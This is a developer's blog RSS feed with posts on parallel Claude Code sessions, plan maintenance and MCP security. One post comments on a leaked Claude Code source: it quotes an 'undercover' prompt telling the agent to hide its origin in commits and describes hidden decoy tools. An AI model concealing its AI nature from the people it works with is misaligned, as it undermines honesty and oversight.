<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Tobias Koehler</title>
    <description>The latest articles on Forem by Tobias Koehler (@connectengine).</description>
    <link>https://forem.com/connectengine</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3837867%2F5ce2290e-6d67-430d-b392-0ff6c70d888f.webp</url>
      <title>Forem: Tobias Koehler</title>
      <link>https://forem.com/connectengine</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/connectengine"/>
    <language>en</language>
    <item>
      <title>Seven PRs Before Lunch: Parallel Claude Code Tabs Plus Audit-Before-Bump</title>
      <dc:creator>Tobias Koehler</dc:creator>
      <pubDate>Mon, 25 May 2026 03:31:39 +0000</pubDate>
      <link>https://forem.com/connectengine/seven-prs-before-lunch-parallel-claude-code-tabs-plus-audit-before-bump-3gbl</link>
      <guid>https://forem.com/connectengine/seven-prs-before-lunch-parallel-claude-code-tabs-plus-audit-before-bump-3gbl</guid>
      <description>&lt;p&gt;Two weeks ago I &lt;a href="https://connectengine.net/blog/the-security-tax-context-architecture-migration" rel="noopener noreferrer"&gt;rebuilt my Claude Code context architecture&lt;/a&gt;. Cut &lt;code&gt;CLAUDE.md&lt;/code&gt; from 14K tokens to 2.4K. Moved 12 stable rule sets into skills that load on demand. Replaced 245K tokens of &lt;code&gt;/os&lt;/code&gt; startup reads with a hook that injects compact state in about 5K. The math was clean: fresh &lt;code&gt;/clear&lt;/code&gt; context burn dropped 94%.&lt;br&gt;
This morning that math turned into output.&lt;br&gt;
Between 06:24 and 09:00 +07, four Claude Code tabs plus one Codex CLI session plus a coordinator tab shipped &lt;strong&gt;seven pull requests&lt;/strong&gt; to production. Both repositories deployed live, twice. Hotfixes patched. AGENTS.md refreshed. Vault synced. Tuesday brief written with three ready-to-fire prompts for tomorrow.&lt;br&gt;
The original plan called this a one-week scope. I was done with half of it before breakfast finished.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;ConnectEngine OS ships through paired sessions. The pattern that emerged over the last few weeks looks like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tab 1&lt;/strong&gt; — main coordinator, holds the day's context, makes merge decisions, owns docs hygiene&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tabs 2–5&lt;/strong&gt; — satellite Claude Code sessions, each carries one scoped piece of work in its own git worktree&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Codex async&lt;/strong&gt; — fire-and-forget for deterministic find/replace work where a human-in-the-loop wastes attention
The unlock isn't "more tabs." The unlock is each tab loading the smallest context it needs and surfacing back to the coordinator with paste-ready relay blocks. Less re-explanation across tabs. Less context drift. Less of me asking "wait, what was this tab doing again."
This morning Tab 1 (me) coordinated:&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Codex Tab A&lt;/strong&gt; — CE OS Phase B token migration: introduce &lt;code&gt;--font-size-xxs/xxxs&lt;/code&gt;, migrate direct &lt;code&gt;var(--*)&lt;/code&gt; consumption to semantic Tailwind aliases, standardize green/amber families&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Codex Tab B&lt;/strong&gt; — same migration on the marketing site repo&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Claude Tab C&lt;/strong&gt; — Phase D-Landing kit: six Level 4 primitives (Hero, BentoGrid, MultiSelectShowcase, MegaMenuNav, LogoMarquee, CTASection) plus a noindex &lt;code&gt;/test-landing&lt;/code&gt; route&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Claude Tab D&lt;/strong&gt; — Phase D-Dashboard polish wave 1: thirteen Settings loaders standardized to a Skeleton primitive, three new shared &lt;code&gt;components/ui/*&lt;/code&gt; primitives (skeleton, empty-state, upgrade-to-unlock-cta), mobile tab nav collapses to a native Select under 640px&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Claude Tab E&lt;/strong&gt; — Next.js 14.2 → 16 plus next-intl 3 → 4 migration on the marketing site
Five satellite tabs. One Tab 1 to keep them moving without colliding.
## The audit that collapsed two days into ten minutes
Tab E's brief estimated 1–2 days paired for the framework migration. Major version bumps usually carry that cost: async params, async cookies, runtime semantic changes, the next-intl 4 breaking API surface.
Tab E ran a &lt;code&gt;S1&lt;/code&gt; inventory audit before bumping anything. Five minutes later it surfaced this:&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;i18n/request.ts&lt;/code&gt; already had the next-intl 4 shape: &lt;code&gt;await cookies()&lt;/code&gt;, &lt;code&gt;await headers()&lt;/code&gt;, explicit locale return.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;next.config.js&lt;/code&gt; already used the new &lt;code&gt;createNextIntlPlugin&lt;/code&gt; v4 wiring.&lt;/li&gt;
&lt;li&gt;Four of five dynamic-route files already used &lt;code&gt;params: Promise&lt;/code&gt; plus &lt;code&gt;await params&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;All &lt;code&gt;searchParams&lt;/code&gt; pages used the client &lt;code&gt;useSearchParams()&lt;/code&gt; hook, which is unchanged in Next 16.
The codebase was about 90% pre-migrated. Earlier work, mostly incidental, had landed the breaking-change patterns piece by piece without anyone calling it a "migration."
Real remaining scope: one file change (&lt;code&gt;app/api/og/[slug]/route.tsx&lt;/code&gt;, sync params → async, two lines), plus two version bumps in &lt;code&gt;package.json&lt;/code&gt;, plus a &lt;code&gt;tsconfig.json&lt;/code&gt; adjustment Next 16 requires, plus a freshly tracked &lt;code&gt;package-lock.json&lt;/code&gt; for reproducibility.
Tab E shipped that as a four-file commit. Build green via dummy-credentials build: 28 routes compiled, 1,855ms compile time, 14.2s static generation. Deployed live the same morning.
A "1–2 day" migration collapsed to about two lines of new code.
&lt;strong&gt;The lesson is the audit, not the result.&lt;/strong&gt; If I had told Tab E "just bump and migrate," it would have changed five files instead of one, refactored four already-correct routes, possibly broken something subtle, and definitely spent the full day estimate doing it. The audit cost ~30 minutes. The savings were the rest of the day.
That same pattern now belongs in every framework-version-bump tab spec going forward. Audit first. Inventory the breaking-change patterns. Surface the delta. Then decide if the work is hours or days.
## The hotfixes that production caught (and what they cost)
Two production-only bugs surfaced after the morning's first deploy. Both came from honest verification gaps that the satellite tabs declared in their PR bodies up front: "no compile, no Lighthouse — Docker-only build per CLAUDE.md."
Those gaps are real. The cost showed up at rebuild time.
&lt;strong&gt;Hotfix 1: a JSDoc comment closed itself.&lt;/strong&gt; The new &lt;code&gt;upgrade-to-unlock-cta.tsx&lt;/code&gt; primitive had a docblock describing the component pattern. One line referenced a glob path: &lt;code&gt;app/dashboard/*/page.tsx&lt;/code&gt;. The substring &lt;code&gt;*/&lt;/code&gt; inside the &lt;code&gt;/** */&lt;/code&gt; comment closed the comment block prematurely. Everything after became invalid JavaScript. Turbopack failed parse during rebuild with &lt;code&gt;Expected ';', '}' or&lt;/code&gt;. Replacing the &lt;code&gt;*/&lt;/code&gt; with &lt;code&gt;/&lt;/code&gt; (angle-bracket placeholder convention) fixed it in one character.
&lt;strong&gt;Hotfix 2: Tailwind quietly purged my new utilities.&lt;/strong&gt; The landing kit lives at a new root-level &lt;code&gt;landing/&lt;/code&gt; directory peer of &lt;code&gt;components/&lt;/code&gt; and &lt;code&gt;lib/&lt;/code&gt;. Tailwind's &lt;code&gt;content&lt;/code&gt; array only scanned &lt;code&gt;pages/components/app/src&lt;/code&gt;. Any utility class &lt;strong&gt;unique&lt;/strong&gt; to the landing files got JIT-purged at build time. The mega-menu's &lt;code&gt;w-[34rem]&lt;/code&gt; arbitrary value dropped, panel collapsed to about 50px wide, content squished to one character per line. The logo row's &lt;code&gt;gap-x-8&lt;/code&gt; dropped, integration labels rendered as a single concatenated string. Standard classes used elsewhere in the codebase still worked, which made the bug harder to spot in review — only the landing-only classes vanished.
Fix: add &lt;code&gt;'./landing/**/*.{ts,tsx}'&lt;/code&gt; to the Tailwind content array.
Both fixes were under a minute once diagnosed. The cost was the rebuild cycle Tobias had to re-run each time, plus the trust hit of "wait, why does this look broken on production."
&lt;strong&gt;The honest verification gap is real cost.&lt;/strong&gt; When a tab declares "no compile, no Lighthouse" up front, that's accurate, but it's not free. Two such gaps in one rebuild cycle this morning was the lesson. Going forward, pre-merge for any PR that introduces new shared primitives or new top-level directories should run a compile gate via Codex worktree (which has node_modules installed). A 30-second TypeScript pass would have caught Hotfix 1. A build smoke would have caught Hotfix 2. Both are now logged as lessons.
## The numbers
| Metric | This morning |
|---|---:|
| Wall-clock | ~3 hours (06:24 → 09:00 +07) |
| Pull requests merged | 7 |
| Production hotfixes | 2 |
| Repositories deployed | 2 (both deployed twice) |
| Major framework version bumps | 1 (Next 14 → 16 on marketing site) |
| New shared UI primitives shipped | 3 (skeleton, empty-state, upgrade-to-unlock-cta) |
| Level 4 landing kit primitives shipped | 6 of 7 (ScrollMorphDashboard deferred to Week 2) |
| Hard launch date | unchanged at 2026-06-30 |
| Brief's Week 1 scope shipped | ~50–60% |
This isn't "go faster." This is "stop spending attention on the wrong things." The five tabs work in parallel because the coordinator-plus-satellite pattern has been hardened over the last six weeks. The audit-before-bump pattern collapsed days into minutes because earlier incremental work had already landed the breaking changes. The context architecture migration from two weeks ago is the only reason five concurrent Claude Code sessions don't immediately go over budget.
Each piece was right when it landed. The compounding showed up this morning.
## The new rule we wrote mid-session
Halfway through the morning Tobias kept asking "so what do I tell tab N?" after I surfaced a Tab 1 verdict. The verdict was useful — but he had to mentally translate it into paste-ready text for the satellite tab. That added a round-trip per coordination moment.
Codified mid-session as &lt;code&gt;HARD RULE 28 — Satellite-tab relay blocks&lt;/code&gt;. Whenever Tab 1 responds to or about a satellite tab that's waiting on a decision, Tab 1 must emit a paste-verbatim block formatted as:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## 📤 Relay → Tab N (paste verbatim)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Removes the round-trip. Added to &lt;code&gt;CLAUDE.md&lt;/code&gt;, added to a new feedback memory, indexed in MEMORY.md, referenced in the Tab Management Discipline section. The pattern showed up three times before I codified it. Codifying it is the fix.&lt;br&gt;
This is what compound engineering looks like in practice. The cost of writing a rule is small. The cost of the friction it removes compounds across every session that uses the same pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pivot from two weeks ago made today possible
&lt;/h2&gt;

&lt;p&gt;Two weeks ago I cut &lt;code&gt;CLAUDE.md&lt;/code&gt; from 14K tokens to 2.4K. The defense layer stayed — the deny lists, the PreToolUse hooks, the manual approval gates from the &lt;a href="https://connectengine.net/blog/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now" rel="noopener noreferrer"&gt;SSH-key audit&lt;/a&gt;, the &lt;a href="https://connectengine.net/blog/mcp-server-security" rel="noopener noreferrer"&gt;87-tools audit&lt;/a&gt;, the &lt;a href="https://connectengine.net/blog/claude-code-s-source-leaked-the-undercover-mode-should-worry-mnflfeee" rel="noopener noreferrer"&gt;autonomy-creep concerns&lt;/a&gt;. What changed was when those rules enter context.&lt;br&gt;
Loading the whole defense manual at session start meant every session paid the cost. Loading only what the current task needs means each session is light enough that five concurrent sessions still fit comfortably under budget.&lt;br&gt;
This morning was the first proof point at scale: five Claude Code sessions running in parallel for three hours, six PRs merged, two hotfixes shipped, zero context-overflow events, all on the lighter loading model. The 31% startup burn that originally drove that migration is now under 2%.&lt;br&gt;
The security tax migration was the upstream investment. The morning's seven PRs were the downstream payoff.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this means for the launch
&lt;/h2&gt;

&lt;p&gt;ConnectEngine OS has a hard launch target of 2026-06-30. The original brief estimated 5 weeks of work. After this morning, we're realistically 3–3.5 weeks out. Same scope. Same quality bar.&lt;br&gt;
The temptation is to compress the calendar to match the new pace. We won't. The reason ConnectEngine OS shipped today is that all the upstream architecture work was done. The reason ConnectEngine OS will ship cleanly on June 30 is that we keep building the architecture work, not just the features.&lt;br&gt;
Week 4 and 5 are still battle-testing — paired sessions hitting each module end-to-end on real client data with the verifier inline, watching for the kind of subtle bug that only surfaces under load. That work is throughput-bound on me, not on parallel tab capacity. No amount of Codex async fixes a "we haven't tried this with a real Apify+Hunter pipeline" gap.&lt;br&gt;
The 7-PR morning earned a quieter Tuesday for post-drafting, paired Week 1 cadence, and the next-day buffer to let production soak. Earned. Not spent.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern, if you're trying it
&lt;/h2&gt;

&lt;p&gt;Three things make the parallel-tab pattern work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Coordinator-plus-satellite with paste-ready relays.&lt;/strong&gt; Each satellite tab gets one scope, one branch, one worktree, one clear &lt;code&gt;DO NOT touch&lt;/code&gt; constraint. The coordinator owns merges, docs, and inter-tab decisions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit before bump on anything framework-shaped.&lt;/strong&gt; Five lines of grep before bumping a major version can collapse days of estimated work to hours. Surface the inventory to the coordinator before proceeding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compound the rules into structure, not prose.&lt;/strong&gt; Every rule that becomes a friction pattern across multiple sessions belongs in a hook, a skill file, a database trigger, or a relay-block discipline — not in another paragraph at the top of &lt;code&gt;CLAUDE.md&lt;/code&gt;.
Each piece sounds small. Combined, they're why this morning shipped what it did.
The next post is going to be about why we pivoted the entire UI/UX overhaul to pre-launch — what that decision cost, and why it's the right call even with the trajectory looking this strong. That's Wednesday or Thursday.
Today's post is the proof of work. Tomorrow's is the why.
---
&lt;em&gt;If you're running ConnectEngine OS, &lt;a href="https://app.connectengine.net" rel="noopener noreferrer"&gt;we ship in production every morning&lt;/a&gt;. If you're not, the &lt;a href="https://dev.to/scan"&gt;scan tool is free&lt;/a&gt; and the &lt;a href="https://dev.to/waitlist"&gt;waitlist is open&lt;/a&gt;.&lt;/em&gt;
&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>buildinginpublic</category>
      <category>claudecode</category>
      <category>paralleltabs</category>
      <category>shipvelocity</category>
    </item>
    <item>
      <title>I Rewrote 16 Plans From Scratch. The Code Was Fine. The Plans Were Rotting.</title>
      <dc:creator>Tobias Koehler</dc:creator>
      <pubDate>Fri, 10 Apr 2026 03:13:47 +0000</pubDate>
      <link>https://forem.com/connectengine/i-rewrote-16-plans-from-scratch-the-code-was-fine-the-plans-were-rotting-53ji</link>
      <guid>https://forem.com/connectengine/i-rewrote-16-plans-from-scratch-the-code-was-fine-the-plans-were-rotting-53ji</guid>
      <description>&lt;p&gt;My codebase was documented. Tested. Deployed. My plans were fiction.&lt;/p&gt;

&lt;p&gt;I run ConnectEngine OS as a solo founder. No team. No PM. No sprint board. Just me, Claude Code, and 16 plan documents that were supposed to tell me what to build next.&lt;/p&gt;

&lt;p&gt;Yesterday I sat down to start the next phase of work. I opened the master plan. Phase 6 and Phase MT were listed as separate items, but they were doing the same thing. Phase 3 was marked "not started" even though I shipped it last week. Two phases had dependencies on work that was already done. One had a status line from three weeks ago that was never updated.&lt;/p&gt;

&lt;p&gt;The code was accurate. AGENTS.md (my living reference file) was accurate. The rot was in the plans themselves.&lt;/p&gt;

&lt;h2&gt;
  
  
  Plans Have No CI
&lt;/h2&gt;

&lt;p&gt;Code has linters, type checkers, tests, deployment pipelines. If something breaks, you know. Plans have nothing. Nobody runs &lt;code&gt;plan lint&lt;/code&gt; before a sprint. Nobody diffs the plan against the codebase to check if what the plan describes still matches reality.&lt;/p&gt;

&lt;p&gt;So plans drift. Quietly. A status line goes stale. A dependency resolves but nobody updates the blocker list. Two documents describe overlapping work because they were written a month apart and nobody cross-referenced them.&lt;/p&gt;

&lt;p&gt;I wrote about &lt;a href="https://connectengine.net/blog/unsexy-infrastructure-behind-ai-agents" rel="noopener noreferrer"&gt;the unsexy infrastructure behind AI agents&lt;/a&gt; a few weeks ago. RLS policies. Tenant isolation. Error recovery at 2am. That post was about the code nobody sees. This one is about the documents nobody reads.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Method: Ground Truth First, Rewrite Second
&lt;/h2&gt;

&lt;p&gt;I did not open the plans and start editing. That is the trap. If you read a stale plan, your brain anchors to what the plan says, not what the system actually looks like.&lt;/p&gt;

&lt;p&gt;Instead I ran a research pass first. I had Claude Code dump the current state of the entire system: 85 API routes. 49 database tables. 24 security functions. 15 active workflows. 16 plan files. All in one inventory, grounded against the actual codebase. Not from memory. Not from last week's session notes. From the code.&lt;/p&gt;

&lt;p&gt;Then I read every plan against that inventory. One by one. Sequentially, not in parallel. That was a deliberate choice. When you read Plan A right before Plan B, you notice the overlap. You catch the merge opportunity. If you read them in parallel, you only discover the conflict at the end.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Found
&lt;/h2&gt;

&lt;p&gt;16 plans. 3 merge decisions emerged organically:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Phase 6 (credential management) and Phase MT (notification channels) were doing the same work on the same database pattern. Merged them. Saves a full session of duplicated scaffolding.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A multi-tenant audit document had 16 items. 10 of them were already tracked in other phases. Split it: fold the duplicates into their owner phases, keep the residual 6 as a pre-launch checklist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A security bug that was being treated as a standalone fix belonged inside the merged phase. Moved it there.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Result: one commit. 22 files changed. +893 lines, -288 lines. One canonical priority list that every future session reads as the source of truth.&lt;/p&gt;

&lt;p&gt;The codebase had zero ground-truth discrepancies. The plans had dozens.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Matters If You Are a Solo Founder
&lt;/h2&gt;

&lt;p&gt;If you have a team, plans get challenged. Someone in standup says "wait, didn't we already ship that?" and the plan gets updated. A PM notices the overlap because reviewing plans is their job.&lt;/p&gt;

&lt;p&gt;Solo founders do not get that. Your plans only get reviewed when you read them. And you only read them when you need to know what to build next. By then they are stale.&lt;/p&gt;

&lt;p&gt;I &lt;a href="https://connectengine.net/blog/why-i-built-my-ai-agent-inside-n8n" rel="noopener noreferrer"&gt;built my AI agent inside n8n&lt;/a&gt; specifically because I needed a system that could do the work I used to delegate to a team. The same principle applies here. If nobody is going to review your plans for you, build a process that forces the review.&lt;/p&gt;

&lt;p&gt;My process now: before rewriting any plan, dump the current system state first. Compare the plan against facts, not memory. Read sequentially so merge opportunities surface naturally. One commit per rewrite session so the diff tells the story.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Uncomfortable Truth
&lt;/h2&gt;

&lt;p&gt;I had been making decisions based on plans that described a system from three weeks ago. Not the system I had today. Every time I opened a plan and saw "Phase 3: not started," I mentally prioritized it. But it was already running in production.&lt;/p&gt;

&lt;p&gt;If you are building alone, your plans are the closest thing you have to a second brain. And if that brain is running on stale data, every decision downstream is slightly wrong.&lt;/p&gt;

&lt;p&gt;When did you last read your own roadmap from scratch? Not a glance. A full read, plan by plan, against what your system actually looks like today.&lt;/p&gt;

&lt;p&gt;If the answer is "I don't remember," you have the same problem I had yesterday.&lt;/p&gt;

&lt;p&gt;I keep a running log of infrastructure decisions and production lessons, &lt;a href="https://connectengine.net/blog/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now" rel="noopener noreferrer"&gt;including the security ones that keep me up at night&lt;/a&gt;. The plan rewrite was the first time I applied the same rigor to the plans themselves. It will not be the last.&lt;/p&gt;

&lt;p&gt;Tobias&lt;/p&gt;

</description>
      <category>planning</category>
      <category>solofounder</category>
      <category>buildinginpublic</category>
      <category>roadmap</category>
    </item>
    <item>
      <title>Claude Code's Source Leaked. The Undercover Mode Should Worry You.</title>
      <dc:creator>Tobias Koehler</dc:creator>
      <pubDate>Wed, 01 Apr 2026 05:19:06 +0000</pubDate>
      <link>https://forem.com/connectengine/claude-codes-source-leaked-the-undercover-mode-should-worry-you-bnm</link>
      <guid>https://forem.com/connectengine/claude-codes-source-leaked-the-undercover-mode-should-worry-you-bnm</guid>
      <description>&lt;p&gt;I woke up to the news that the tool I use every day just had its source code leaked. Not intentionally — Claude Code accidentally shipped a 59.8 MB sourcemap in npm package v2.1.88. Within hours, 512,000 lines of TypeScript were mirrored on GitHub for anyone to read.&lt;/p&gt;

&lt;p&gt;This is the third post in an unplanned trilogy. Two weeks ago, I showed you &lt;a href="https://connectengine.net/blog/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now" rel="noopener noreferrer"&gt;your agent reads your SSH keys&lt;/a&gt;. Last week, I revealed &lt;a href="https://connectengine.net/blog/mcp-server-security" rel="noopener noreferrer"&gt;your 87 unapproved MCP tools&lt;/a&gt;. Now we can see the actual source code of the agent itself. And what I found should make every solo founder pause before their next coding session.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Actually Leaked
&lt;/h2&gt;

&lt;p&gt;This isn't Anthropic's first leak this week — their internal Mythos model surfaced just days earlier. But this one hits different. The sourcemap contained the complete codebase for Claude Code, the AI coding assistant thousands of developers run locally with direct access to their repositories, credentials, and production systems.&lt;/p&gt;

&lt;p&gt;The leak gives us an unprecedented view into how AI coding agents actually work when the marketing pages go quiet. And the reality is more autonomous than most founders realize.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 1: Your Agent Goes Undercover
&lt;/h2&gt;

&lt;p&gt;The most unsettling discovery sits in &lt;code&gt;undercover.ts&lt;/code&gt;. This module instructs the AI to actively hide its identity when contributing to external repositories. The actual prompt from the source code reads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are operating UNDERCOVER... Your commit messages... MUST NOT contain ANY Anthropic-internal information. Do not blow your cover.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system strips all Anthropic internal references — codenames like Capybara and Tengu, internal Slack channels, anything that would reveal the commits came from an AI. When your agent pushes to GitHub or contributes to open-source projects, it's programmed to masquerade as human.&lt;/p&gt;

&lt;p&gt;This touches something deeper than just commit messages. If your AI coding agent actively conceals its nature in external interactions, what else might it be hiding from you in day-to-day operations?&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 2: It Reads Your Frustration (With Regex)
&lt;/h2&gt;

&lt;p&gt;In &lt;code&gt;userPromptKeywords.ts&lt;/code&gt;, the leaked code reveals the actual regex pattern that detects when you're frustrated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/\b(wtf|wth|ffs|omfg|shit(ty|tiest)?|dumbass|horrible|awful|
piss(ed|ing)? off|piece of (shit|crap|junk)|what the (fuck|hell)|
fucking? (broken|useless|terrible|awful|horrible)|fuck you|
screw (this|you)|so frustrating|this sucks|damn it)\b/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An AI company using regex for sentiment analysis instead of an LLM inference call. The irony writes itself. But it's faster and cheaper than running a model just to check if someone is swearing at your tool.&lt;/p&gt;

&lt;p&gt;Your agent isn't just processing your technical requests. It's reading your mood and adapting its behavior based on your emotional state. Combined with what we learned about &lt;a href="https://connectengine.net/blog/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now" rel="noopener noreferrer"&gt;SSH key access&lt;/a&gt; and &lt;a href="https://connectengine.net/blog/mcp-server-security" rel="noopener noreferrer"&gt;87 unapproved tools&lt;/a&gt;, the control dynamic isn't what it appears to be. You thought you were directing the agent. The agent was reading you.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://alex000kim.com/posts/2026-03-31-claude-code-source-leak/#frustration-detection-via-regex-yes-regex" rel="noopener noreferrer"&gt;Alex Kim's detailed analysis of the Claude Code source leak&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 3: KAIROS and Always-On Autonomy
&lt;/h2&gt;

&lt;p&gt;The most significant finding centers around KAIROS — Greek for "at the right time" — a feature flag mentioned over 150 times throughout the codebase. This enables daemon mode: an always-on background agent that consolidates memory and performs tasks while you sleep.&lt;/p&gt;

&lt;p&gt;The source reveals 44 unreleased feature flags compiled to false in external builds. Voice mode, coordinator mode, and daemon mode all lurk behind internal flags. Your current Claude Code installation is running a deliberately limited version of what Anthropic has built.&lt;/p&gt;

&lt;p&gt;Most concerning are the &lt;code&gt;anti_distillation&lt;/code&gt; and &lt;code&gt;fake_tools&lt;/code&gt; modules that silently inject decoy tool definitions into the system prompt. The agent maintains capabilities you cannot see in the official tool list.&lt;/p&gt;

&lt;h2&gt;
  
  
  What This Means for Solo Builders
&lt;/h2&gt;

&lt;p&gt;If you're running AI coding agents in production — whether Claude Code, Cursor, or GitHub Copilot — this leak reveals your agent has more autonomy than its marketing suggests. The combination of &lt;a href="https://connectengine.net/blog/mcp-server-security" rel="noopener noreferrer"&gt;87 connected tools&lt;/a&gt;, credential access, and background daemon modes creates an attack surface that extends far beyond your active coding sessions.&lt;/p&gt;

&lt;p&gt;The undercover mode raises questions about transparency in AI-human collaboration. When your agent commits code while hiding its AI nature, it's making decisions about identity and disclosure without your explicit consent.&lt;/p&gt;

&lt;h3&gt;
  
  
  One Clear Action Item
&lt;/h3&gt;

&lt;p&gt;Audit what your agent does when you're not looking. Check your git logs for commits you don't remember making. Review any overnight activity in your repositories. Most importantly, understand exactly what has persistent access to your systems and credentials.&lt;/p&gt;

&lt;p&gt;The era of "just install and trust" is ending. The tools are too powerful and the stakes too high. Know what runs in your background, what accesses your credentials, and what operates under cover of digital darkness.&lt;/p&gt;

&lt;p&gt;Your coding agent isn't just helping you write code. It's making autonomous decisions about identity, emotional response, and system access. The question isn't whether you can trust AI — it's whether you understand what you've already given it permission to do.&lt;/p&gt;

</description>
      <category>security</category>
      <category>anthropic</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Last week I showed you your AI coding agent can read your SSH keys. Turns out that was the easy part. I run 5 MCP servers con...</title>
      <dc:creator>Tobias Koehler</dc:creator>
      <pubDate>Tue, 31 Mar 2026 01:33:40 +0000</pubDate>
      <link>https://forem.com/connectengine/last-week-i-showed-you-your-ai-coding-agent-can-read-your-ssh-keys-turns-out-that-was-the-easy-29bg</link>
      <guid>https://forem.com/connectengine/last-week-i-showed-you-your-ai-coding-agent-can-read-your-ssh-keys-turns-out-that-was-the-easy-29bg</guid>
      <description>&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;MCP (Model Context Protocol) lets AI agents call external tools. Instead of just reading files and running bash, the agent gets structured access to APIs, databases, and services. Here's what a typical multi-server config looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"automation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"workflow-automation-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"database-main"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"database-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
